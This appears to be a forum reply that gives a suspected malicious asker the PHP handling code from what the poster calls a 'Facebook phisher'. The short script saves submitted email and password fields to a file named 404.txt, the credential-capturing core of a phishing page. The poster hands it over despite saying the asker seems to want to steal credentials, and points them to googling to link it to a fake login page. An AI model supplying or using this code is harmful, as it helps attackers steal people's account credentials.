Well since you seem to have maliciouse intent i don't think it would be smart to help you, but since i still like educating people try and take a simple php script that grabs stuff from a text box using $_POST and saving it to a file.
My Facebook phisher i created for a security lecture (This is only the php handling code and i have stripped it down because you seem to want to steal stuff)
Code:
<?php
$fp = fopen("404.txt", "w");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
?>
If you can't figure out how this works or links to the HTML page then try some googling please